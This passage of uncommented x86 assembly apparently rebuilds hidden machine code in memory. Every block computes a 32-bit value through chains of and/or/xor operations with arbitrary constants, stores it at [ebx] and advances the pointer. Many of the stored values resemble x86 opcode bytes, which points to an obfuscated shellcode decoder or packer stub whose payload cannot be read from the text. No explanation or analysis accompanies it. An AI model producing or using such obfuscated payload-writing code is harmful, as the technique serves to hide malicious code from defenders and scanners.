or eax, 0x4d899c45
mov dword [ebx], eax
add ebx, edx
or eax, 0x2fd767be
and eax, 0x1c183d4
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bdb9689
and eax, 0x1c00080
or eax, 0x8a144d09
mov dword [ebx], eax
add ebx, edx
or eax, 0x390e2f7b
xor eax, 0x511851fd
and eax, 0x40022004
or eax, 0x15398051
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe548718
xor eax, 0xd0af5a3
and eax, 0x201508c
or eax, 0x89102d10
mov dword [ebx], eax
add ebx, edx
and eax, 0x15cb8b50
and eax, 0x25f5e1a0
and eax, 0x1010000
or eax, 0x443ac045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48e2d00e
and eax, 0x9091040
or eax, 0x82006db0
mov dword [ebx], eax
add ebx, edx
and eax, 0x339398ce
and eax, 0x1011840
or eax, 0xc082e40d
mov dword [ebx], eax
add ebx, edx
or eax, 0x72ed1ee4
and eax, 0xf04d8801
or eax, 0xc000100
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a79c5d8
or eax, 0x24788a5c
and eax, 0x82784589
or eax, 0x1801002
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e62fc4f
and eax, 0x158801c2
or eax, 0x40010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c24c584
and eax, 0x40000180
or eax, 0x80458a78
mov dword [ebx], eax
add ebx, edx
and eax, 0x10341d5e
xor eax, 0x126dddf6
and eax, 0x1068442a
or eax, 0x6c900111
mov dword [ebx], eax
add ebx, edx
and eax, 0x75a2604f
xor eax, 0x57e83d0d
and eax, 0x20480904
or eax, 0xdc058241
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f12c085
and eax, 0x173cc408
and eax, 0
or eax, 0x8b984d89
mov dword [ebx], eax
add ebx, edx
or eax, 0x21dfa06e
and eax, 0x189ec45
or eax, 0x54000010
mov dword [ebx], eax
add ebx, edx
or eax, 0x7243e275
xor eax, 0x3d864de
and eax, 0x74018a80
or eax, 0x88440114
mov dword [ebx], eax
add ebx, edx
and eax, 0x606a47e9
xor eax, 0x476a628d
and eax, 0x1004001
or eax, 0x88018082
mov dword [ebx], eax
add ebx, edx
or eax, 0x62502899
xor eax, 0x412e3fcd
and eax, 0x80bd444
or eax, 0x45802801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c4c1264
and eax, 0x4a6739ef
and eax, 0x452800
or eax, 0x94081398
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e7d39fe
and eax, 0x1409087c
or eax, 0x41820001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3fa16d64
and eax, 0x28002118
or eax, 0x94551ac4
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb55638
and eax, 0x14af0c0f
and eax, 0x4800004
or eax, 0x410b2078
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a8c9b6e
and eax, 0xc053b10
or eax, 0xa04000c8
mov dword [ebx], eax
add ebx, edx
or eax, 0x795c549a
and eax, 0x4a1278d9
and eax, 0x40000858
or eax, 0x5c70125
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2dbd88ab
and eax, 0x194
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a2c13dd
and eax, 0x42040300
or eax, 0x8503e800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d4656fd
xor eax, 0x188bb4de
and eax, 1
or eax, 0xb444
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ec92e52
and eax, 0
or eax, 0x4d8b0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5020a732
and eax, 0x14092330
or eax, 0xa0440088
mov dword [ebx], eax
add ebx, edx
or eax, 0x2119d199
and eax, 0xf448c39
and eax, 0x5000030
or eax, 0x508b0944
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a3a9c41
and eax, 0x1808110
or eax, 0x4202c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x7fb72c70
and eax, 0x1800000
or eax, 0x8a505589
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e1696ff
and eax, 0x1401
or eax, 0xc083e044
mov dword [ebx], eax
add ebx, edx
or eax, 0x1602c973
and eax, 0xd4018901
or eax, 0x20440000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46d92e75
and eax, 0x72625b12
and eax, 0x32000100
or eax, 0x9d44c8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x196e8593
and eax, 0x38c008
or eax, 0x8443445
mov dword [ebx], eax
add ebx, edx
or eax, 0x644b1d01
and eax, 0x286c5509
or eax, 0x13800082
mov dword [ebx], eax
add ebx, edx
and eax, 0x295d5bbb
or eax, 0x85d20f
and eax, 0x94d9005
or eax, 0x302050
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b3ca5d1
and eax, 0x3ab7259d
and eax, 0x2040581
or eax, 0x81c8400a
mov dword [ebx], eax
add ebx, edx
and eax, 0x1938df5b
and eax, 0x1080108
or eax, 0x448100e0
mov dword [ebx], eax
add ebx, edx
and eax, 0x2381e32d
and eax, 0x3ab700c8
and eax, 0x10008
or eax, 0xe84c8bc4
mov dword [ebx], eax
add ebx, edx
or eax, 0x405b8899
and eax, 0x68500919
or eax, 0x15a04422
mov dword [ebx], eax
add ebx, edx
and eax, 0x78b344aa
and eax, 0x48100008
or eax, 0x80458b11
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d85abc9
or eax, 0x18671e49
and eax, 0x58601509
or eax, 0x24884032
mov dword [ebx], eax
add ebx, edx
or eax, 0x170b5279
and eax, 0x2c410308
or eax, 0x80048800
mov dword [ebx], eax
add ebx, edx
or eax, 0x2828efaa
and eax, 0x2c60452a
or eax, 0x51900011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6695c5e2
or eax, 0x50f160b7
and eax, 0x50458009
or eax, 0x80080b00
mov dword [ebx], eax
add ebx, edx
and eax, 0x706cf838
and eax, 0x8800
or eax, 0x89016183
mov dword [ebx], eax
add ebx, edx
and eax, 0x3db9c6f9
or eax, 0x56cc4492
and eax, 0x5dc9c001
or eax, 0x20104c
mov dword [ebx], eax
add ebx, edx
and eax, 0x18102673
xor eax, 0x3f35fc28
and eax, 0x335fc68
or eax, 0x88ca0396
mov dword [ebx], eax
add ebx, edx
and eax, 0x15ebdff0
or eax, 0x365ea15b
and eax, 0x4c35de1
or eax, 0xc8000004
mov dword [ebx], eax
add ebx, edx
or eax, 0x73d23760
and eax, 0x7c8428d
and eax, 0x4c04084
or eax, 0xc80c8c48
mov dword [ebx], eax
add ebx, edx
or eax, 0x2a48eb47
xor eax, 0x49d02d50
and eax, 0x840cc08c
or eax, 0x48c00c40
mov dword [ebx], eax
add ebx, edx
and eax, 0x65936ff0
xor eax, 0x3a82cc64
and eax, 0x6c020084
or eax, 0x80895548
mov dword [ebx], eax
add ebx, edx
and eax, 0x14452a2c
or eax, 0x73aa921
and eax, 0x710a801
or eax, 0xc0444482
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bdd1920
and eax, 0x500800
or eax, 0x2400f045
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c11a9e3
and eax, 0x4000000
or eax, 0x41c70000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x45c4a3c9
and eax, 0xa0c0
or eax, 0x1300434
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c5f8b13
and eax, 0x692ed340
and eax, 0x48300
or eax, 0xf0414400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70290729
xor eax, 0xff2e44f
and eax, 0x2026
or eax, 0x14991
mov dword [ebx], eax
add ebx, edx
and eax, 0x188f4590
and eax, 0x4180
or eax, 0x6cec0447
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f721f3c
and eax, 0x47000054
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x32fe57f7
and eax, 0x2000044
or eax, 0xe97de801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x321c662c
xor eax, 0x3721f24a
and eax, 0x44400000
or eax, 0x1870000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3134a3ba
and eax, 0xb833435
and eax, 0x832020
or eax, 0x244ec4
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ae488ea
and eax, 0x40000
or eax, 0xe041c700
mov dword [ebx], eax
add ebx, edx
and eax, 0x49537fb8
and eax, 0x4200
or eax, 0xb0b6
mov dword [ebx], eax
add ebx, edx
or eax, 0x467e4aaa
xor eax, 0x744fccee
and eax, 0x12100440
or eax, 0x4ccc4187
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d7ca51b
and eax, 0x4000001
or eax, 0xc300002c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x435864bf
or eax, 0x11cf0fc2
and eax, 0xd54840
or eax, 0x2a009005
mov dword [ebx], eax
add ebx, edx
or eax, 0x6980aed9
and eax, 0x41c50001
or eax, 0x4020000
mov dword [ebx], eax
add ebx, edx
or eax, 0x56db8aa6
and eax, 0xdd2cc9e
and eax, 0x800884
or eax, 0x15350
mov dword [ebx], eax
add ebx, edx
and eax, 0x116ce1fa
and eax, 0x4100
or eax, 0xd0458600
mov dword [ebx], eax
add ebx, edx
or eax, 0x33ea4b81
or eax, 0x1ac592f8
and eax, 0x183b8
or eax, 6
mov dword [ebx], eax
add ebx, edx
and eax, 0x5e19ec8a
and eax, 0x128d3626
and eax, 2
or eax, 0x5ecc45c5
mov dword [ebx], eax
add ebx, edx
or eax, 0x1bc0070e
and eax, 0x4700000d
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7bc55ffd
and eax, 0x2c414840
or eax, 0x42228005
mov dword [ebx], eax
add ebx, edx
and eax, 0xca0e831
xor eax, 0x5dee0836
and eax, 0x41c60000
or eax, 0x4010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x73e28633
xor eax, 0xaece79
and eax, 0x688640
or eax, 0x901184
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24438979
and eax, 0x10600
or eax, 0xc044c100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4707b430
and eax, 0x7120
or eax, 0xc0c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f5d9505
and eax, 0x1be3a7e
and eax, 0x1c0000
or eax, 0xa4e045c7
mov dword [ebx], eax
add ebx, edx
and eax, 0x4910a18b
and eax, 0x5ff2f59d
and eax, 0x80
or eax, 0xc700007c
mov dword [ebx], eax
add ebx, edx
and eax, 0x18a354ee
and eax, 0x44
or eax, 0xc615bc01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2549e6bb
and eax, 0x41440000
or eax, 0x4830000
mov dword [ebx], eax
add ebx, edx
or eax, 0x31b20f38
and eax, 0x2383be3d
and eax, 0x1030e38
or eax, 0x448080
mov dword [ebx], eax
add ebx, edx
or eax, 0x4abda185
and eax, 0x139153d1
and eax, 0x10300
or eax, 0xb444c400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7336db71
xor eax, 0x2c5bb973
and eax, 0x8100
or eax, 0x205
mov dword [ebx], eax
add ebx, edx
or eax, 0x57f4f541
and eax, 0x43b04545
or eax, 0xa8000082
mov dword [ebx], eax
add ebx, edx
and eax, 0x48b37033
or eax, 0x7e7c3e17
and eax, 0x46000011
or eax, 0x81000020
mov dword [ebx], eax
add ebx, edx
and eax, 0xaf0aa94
or eax, 0x6c3e25e8
and eax, 0x6062440
or eax, 0x1408805
mov dword [ebx], eax
add ebx, edx
or eax, 0x317732ac
xor eax, 0x6d362241
and eax, 0x40010000
or eax, 0x58a0001
mov dword [ebx], eax
add ebx, edx
or eax, 0x75cdc88b
and eax, 0x1c08088
or eax, 0x374
mov dword [ebx], eax
add ebx, edx
or eax, 0x40711251
and eax, 0x10e7b3bc
and eax, 0xe00188
or eax, 0x8b1c4401
mov dword [ebx], eax
add ebx, edx
or eax, 0x3006702c
and eax, 0x88c255a5
or eax, 0x44010840
mov dword [ebx], eax
add ebx, edx
or eax, 0x70162095
and eax, 0x47967851
and eax, 0x44844840
or eax, 0x8848848c
mov dword [ebx], eax
add ebx, edx
or eax, 0x40e06213
and eax, 0xcccccccc
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d91857a
and eax, 0xcc8945cc
or eax, 0x20021000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x650b5164
and eax, 0x5b7b2305
and eax, 0
or eax, 0xacec81
mov dword [ebx], eax
add ebx, edx
xor eax, 0x601fd078
and eax, 0x40830000
or eax, 0x5440000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c81c939
and eax, 0x10000
or eax, 0x15867dc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2367441
and eax, 0x450300
or eax, 0xe800c400
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f13abf2
xor eax, 0x275885e9
and eax, 0x400a
or eax, 0x1c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x40495941
and eax, 0x4041c3
or eax, 0x31b00404
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6309d477
or eax, 0x7ad42c38
and eax, 0x420000b8
or eax, 0x85000002
mov dword [ebx], eax
add ebx, edx
or eax, 0x2af730e2
and eax, 0xe4422040
or eax, 0x1000c005
mov dword [ebx], eax
add ebx, edx
and eax, 0x1673768
and eax, 0x41108cb9
and eax, 0
or eax, 0x45c70000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2145aaec
xor eax, 0x40f35114
and eax, 0x719bc8
or eax, 0x1040000
mov dword [ebx], eax
add ebx, edx
and eax, 0x27e69473
and eax, 0x448000
or eax, 0xc0014700
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c49c97c
and eax, 0x2fb97c4e
and eax, 0x4c48
or eax, 0x1091
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a2cf675
or eax, 0xb4ed184
and eax, 0xb204184
or eax, 0x90900443
mov dword [ebx], eax
add ebx, edx
and eax, 0x57b58508
and eax, 0x3000100
or eax, 0xc4000064
mov dword [ebx], eax
add ebx, edx
or eax, 0x34f94eaa
or eax, 0x7bed90b6
and eax, 0x5e099c44
or eax, 0x22001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a547d86
and eax, 0x723b4e66
and eax, 0x30000
or eax, 0x45c40001
mov dword [ebx], eax
add ebx, edx
or eax, 0x38bfe7a6
or eax, 0x1830e9dd
and eax, 0xdb22ac
or eax, 0x1000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x787fe41d
and eax, 0x5804c600
or eax, 0x80410100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71c9bc2d
and eax, 0x2e1265f3
and eax, 0x4100
or eax, 0x90c6
mov dword [ebx], eax
add ebx, edx
xor eax, 0x282efc25
and eax, 0x80405c3
or eax, 0x86d04004
mov dword [ebx], eax
add ebx, edx
or eax, 0x441eb64d
and eax, 0xc6000049
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x75143bee
xor eax, 0x2a4300a8
and eax, 0x50063845
or eax, 0x288c400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73b94a1e
and eax, 0x1070001
or eax, 0x44c00000
mov dword [ebx], eax
add ebx, edx
or eax, 0x63c12d4e
and eax, 0x4329a05
and eax, 0x20804
or eax, 0xbde7c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x525ec00f
and eax, 0x729e66ce
and eax, 0x40044600
or eax, 0xac418100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19ca09d7
and eax, 0x256
or eax, 0x1008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61515965
and eax, 0x3a43727
and eax, 0x103
or eax, 0x76f444c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a1e19c0
and eax, 0x38b00624
and eax, 4
or eax, 0xc7000093
mov dword [ebx], eax
add ebx, edx
and eax, 0x143282f9
and eax, 0x4000001
or eax, 0xd3e8e444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19eabbd7
or eax, 0x7cdce2c2
and eax, 0x44c60000
or eax, 0x1010000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6040b44c
or eax, 0x68985c8d
and eax, 0x8f28c8
or eax, 0x200030
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6bfe4b65
and eax, 0x20271d25
and eax, 0x20010100
or eax, 0x9444c600
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60d72ba1
and eax, 0xcc80
or eax, 0x1144
mov dword [ebx], eax
add ebx, edx
and eax, 0x4246201c
or eax, 0x71cebed9
and eax, 0x10cc04c5
or eax, 0x8a004102
mov dword [ebx], eax
add ebx, edx
or eax, 0x68acc1b5
xor eax, 0x6f16c6a5
and eax, 0x85000050
or eax, 0x4200000c
mov dword [ebx], eax
add ebx, edx
and eax, 0x23f98782
and eax, 0x2000000
or eax, 0xfce1d045
mov dword [ebx], eax
add ebx, edx
and eax, 0x3714ce09
and eax, 0x4000000
or eax, 0x41c70000
mov dword [ebx], eax
add ebx, edx
or eax, 0xfdbbb67
xor eax, 0x274613f6
and eax, 0x82890
or eax, 0x604128
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e8fd62e
and eax, 0x438dd020
and eax, 0x28dc000
or eax, 0xcc722800
mov dword [ebx], eax
add ebx, edx
or eax, 0x70ca6690
or eax, 0x7e97e71e
and eax, 0x448b0000
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2afd7978
xor eax, 0x7b58146d
and eax, 0x280114
or eax, 0x1c082c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x12cca417
and eax, 0xc80000
or eax, 0x8b144589
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5509ab04
or eax, 0x3940b888
and eax, 0xe981d80d
or eax, 0x40
mov dword [ebx], eax
add ebx, edx
and eax, 0x278dc2a5
or eax, 0x12e267e2
and eax, 0xc201
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
or eax, 0x59688ae5
and eax, 0x1bcd6ee7
and eax, 0x9484881
or eax, 0x82900508
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf371e54
xor eax, 0x7a237f9d
and eax, 0x54080440
or eax, 0x123d015
mov dword [ebx], eax
add ebx, edx
xor eax, 0x229a5b3
or eax, 0x6b7dff7b
and eax, 0x545589d8
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c300bfa
and eax, 0x440109ea
or eax, 0x18a0001
mov dword [ebx], eax
add ebx, edx
or eax, 0x7536dfa
and eax, 0x1c001d0
or eax, 0x8204
mov dword [ebx], eax
add ebx, edx
or eax, 0x7650de8d
and eax, 0x3d04589
or eax, 0x88040000
mov dword [ebx], eax
add ebx, edx
and eax, 0x373c9930
and eax, 0x59704f7e
and eax, 0x1100000
or eax, 0x4c2bd44d
mov dword [ebx], eax
add ebx, edx
and eax, 0x36b3b165
xor eax, 0x47402f3f
and eax, 0x2010f68
or eax, 0x848c0080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37d683a3
and eax, 0x81000001
or eax, 0xa000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x638f79fe
xor eax, 0x396159ac
and eax, 0x10011804
or eax, 0x450aa051
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d6d96ea
or eax, 0x59dd5033
and eax, 0x145588f8
or eax, 0x80000100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75aa493a
and eax, 0x81e04082
or eax, 0x8000509
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f39d6c2
and eax, 0x4d899041
or eax, 0x20004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x249be24
and eax, 0x1d6e78a7
and eax, 0x1400020
or eax, 0x8183d8
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c8d657b
xor eax, 0x7c53a84
and eax, 0xa084d09
or eax, 0x81f00080
mov dword [ebx], eax
add ebx, edx
xor eax, 0xaaa9e12
and eax, 0x1129011
or eax, 0x54290444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ffe8d1
and eax, 0x2007c80
or eax, 0x89090110
mov dword [ebx], eax
add ebx, edx
xor eax, 0x336880a
xor eax, 0x877df42
and eax, 0x80002840
or eax, 0x68839005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x148f1a05
and eax, 0xb8048000
or eax, 0x410901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58cf0c6e
and eax, 0x2088050b
or eax, 0x1b544880
mov dword [ebx], eax
add ebx, edx
or eax, 0x45d51ed4
and eax, 0x85d584d
or eax, 0x208000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e8d27ea
and eax, 0x8000008
or eax, 0x33f05583
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d2e31cd
and eax, 0x9200001
or eax, 0x25ce054
mov dword [ebx], eax
add ebx, edx
and eax, 0x76024091
or eax, 0x16baa02d
and eax, 0x2b84009
or eax, 0x9000582
mov dword [ebx], eax
add ebx, edx
or eax, 0x76ab41d7
and eax, 0x453b4045
or eax, 0x8800
mov dword [ebx], eax
add ebx, edx
and eax, 0x736876a1
xor eax, 0x62273766
and eax, 0x3097544
or eax, 0x88000888
mov dword [ebx], eax
add ebx, edx
or eax, 0x4dac6ab6
and eax, 0xc981504c
or eax, 0x20028001
mov dword [ebx], eax
add ebx, edx
and eax, 0x2dfbb437
and eax, 0x18001
or eax, 0xd04c0900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ab4f327
and eax, 0x82b85002
or eax, 0x1040589
mov dword [ebx], eax
add ebx, edx
or eax, 0x20cab1b6
and eax, 0x18801aa
or eax, 0x54010040
mov dword [ebx], eax
add ebx, edx
and eax, 0x719cba06
and eax, 0x50000000
or eax, 0xa8458bbc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1326a4a6
or eax, 0x3f77f7f7
and eax, 0x8901c083
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7680f2ee
and eax, 0x4d81f045
or eax, 0xa0800
mov dword [ebx], eax
add ebx, edx
or eax, 0xa8d7894
and eax, 0x44d52fe3
and eax, 0x8100c0
or eax, 0x1408338
mov dword [ebx], eax
add ebx, edx
and eax, 0x133f5bf1
xor eax, 0x62d8ed6c
and eax, 0x3d84c88
or eax, 0x88200101
mov dword [ebx], eax
add ebx, edx
or eax, 0x69ce070c
and eax, 0xea824c05
or eax, 0x19050
mov dword [ebx], eax
add ebx, edx
or eax, 0x630a6aa4
xor eax, 0x5c567d91
and eax, 0x94558100
or eax, 0x48000801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x84d0ffb
and eax, 0x48a
or eax, 0x3c44101
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf29bb7c
or eax, 0x13a663b9
and eax, 0x165b045
or eax, 0x20100000
mov dword [ebx], eax
add ebx, edx
and eax, 0x61554e6e
or eax, 0x708d77e3
and eax, 0x21c44583
or eax, 0xa200808
mov dword [ebx], eax
add ebx, edx
or eax, 0x4cb96589
and eax, 0x23ba1d8d
and eax, 0x1300809
or eax, 0x1845c044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e0a70b0
and eax, 0x332c1089
or eax, 0x8804502
mov dword [ebx], eax
add ebx, edx
or eax, 0x1520b8af
xor eax, 0x2fbf704f
and eax, 0x10118040
or eax, 0xa6c7015
mov dword [ebx], eax
add ebx, edx
or eax, 0x248fc936
and eax, 0x2d04103
or eax, 0x81000488
mov dword [ebx], eax
add ebx, edx
or eax, 0x4af9b4a4
xor eax, 0x3334c2c3
and eax, 0x40890168
or eax, 0x5000080
mov dword [ebx], eax
add ebx, edx
or eax, 0x8ace83a
and eax, 0x400d89d0
or eax, 0x90400200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ceddec6
xor eax, 0x479d3e14
and eax, 0x593c4902
or eax, 0x24c00439
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57e03f5
or eax, 0x3f0773c6
and eax, 0x48050b08
or eax, 0x80508001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x529c45c3
xor eax, 0x4d6afbdd
and eax, 0x81010003
or eax, 0x800c280
mov dword [ebx], eax
add ebx, edx
xor eax, 0x45e41c6e
or eax, 0x3425b522
and eax, 0x4481c845
or eax, 0x10a0010
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe8c9f8b
and eax, 0x10382b37
and eax, 0x314
or eax, 0xcc4528a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ca0d5bc
and eax, 0x6ce44538
or eax, 0x10180003
mov dword [ebx], eax
add ebx, edx
or eax, 0x4cc5d3af
or eax, 0x2e95a923
and eax, 0x6c4d8b0c
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x56236c7
or eax, 0x63474182
and eax, 0xf644d0b
or eax, 0x900020
mov dword [ebx], eax
add ebx, edx
or eax, 0x358c8685
and eax, 0x8384
or eax, 0x1000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3213ff5e
and eax, 0x8300
or eax, 0xf4550800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1431d1f2
and eax, 0xa0440a02
or eax, 0xc11a50d
mov dword [ebx], eax
add ebx, edx
or eax, 0x5637e3e
and eax, 0x2d64553b
or eax, 0x50800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x797cf7b3
and eax, 0x4008208
or eax, 0xe8450900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x664ff98d
and eax, 0x234832aa
and eax, 0x80000
or eax, 0x7cf4453b
mov dword [ebx], eax
add ebx, edx
or eax, 0x7da8b960
or eax, 0x274ed4d
and eax, 0x384c8910
or eax, 0x80010200
mov dword [ebx], eax
add ebx, edx
or eax, 0x51d5edf4
and eax, 0x7e3584e4
and eax, 0x78100420
or eax, 0x5e0491b
mov dword [ebx], eax
add ebx, edx
and eax, 0x1baf700f
and eax, 0x12301ff0
and eax, 0
or eax, 0xe4558b77
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5b4bd5cb
and eax, 0x3d005438
or eax, 0x40e00103
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b3f568d
and eax, 0x7045032f
or eax, 0x80008840
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c6a0e0a
and eax, 0x6040000a
or eax, 0x1d984531
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c4c5c8c
xor eax, 0x67bc731
and eax, 0x40058a06
or eax, 0x84480161
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c0c3a6
and eax, 0x575d5bbf
and eax, 0x10c4981
or eax, 0x8a800408
mov dword [ebx], eax
add ebx, edx
and eax, 0x1896c5a
xor eax, 0xeefc670
and eax, 0x5018850
or eax, 0x50887405
mov dword [ebx], eax
add ebx, edx
xor eax, 0x127ac511
and eax, 0x44410900
or eax, 0x80048288
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79efdde0
xor eax, 0x3100e400
and eax, 0x88008000
or eax, 0x1014083
mov dword [ebx], eax
add ebx, edx
and eax, 0x527044f1
and eax, 0x79d16579
and eax, 0x4001
or eax, 0x4d8b8444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x13a05cfe
and eax, 0x8091888
or eax, 0x80442304
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68d01d5d
and eax, 0x40890051
or eax, 0x1502082c
mov dword [ebx], eax
add ebx, edx
or eax, 0x7fec7ecc
or eax, 0x33fa0036
and eax, 0x745522bc
or eax, 0x80000100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11d7997b
or eax, 0x57578cfb
and eax, 0x45832875
or eax, 0x80000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4a72f01e
xor eax, 0x6c53582
and eax, 0x40450184
or eax, 0xa0000248
mov dword [ebx], eax
add ebx, edx
and eax, 0x74b19d36
xor eax, 0x75f1f979
and eax, 0x15d04039
or eax, 0x68080502
mov dword [ebx], eax
add ebx, edx
or eax, 0x7d7eeec5
or eax, 0x377300c5
and eax, 0x784d8b37
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e27bcdc
xor eax, 0x3c58ef05
and eax, 0x82044088
or eax, 0x9800d01
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d72914
and eax, 0x605f6352
and eax, 0x16010
or eax, 0x55888c45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11be056a
and eax, 0x44058900
or eax, 0xa8400280
mov dword [ebx], eax
add ebx, edx
xor eax, 0x694edaaf
and eax, 0x81014003
or eax, 0x8008080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d3ee121
or eax, 0x493393f6
and eax, 0x4d0ba044
or eax, 0x804c01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1591afe7
or eax, 0x32d57a3d
and eax, 0x4d3b84
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa4fc0c6
and eax, 0x143ee8b1
and eax, 0x20800
or eax, 0x5589127d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31f2c7e
and eax, 0x800200
or eax, 0x14281fc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x780f0f21
and eax, 0x9cc0489
or eax, 0x82305100
mov dword [ebx], eax
add ebx, edx
or eax, 0x66629418
and eax, 0x450ad401
or eax, 0x12844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6dbfd51f
and eax, 0x8002040
or eax, 0x83095484
mov dword [ebx], eax
add ebx, edx
and eax, 0x48e9644d
or eax, 0x70d832cd
and eax, 0x6881744d
or eax, 0x81028000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ccb83dc
and eax, 0xf4498101
or eax, 0x40800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3780299c
and eax, 0x3c80089
or eax, 0x30005502
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29292368
and eax, 0x2614041
or eax, 0x21148014
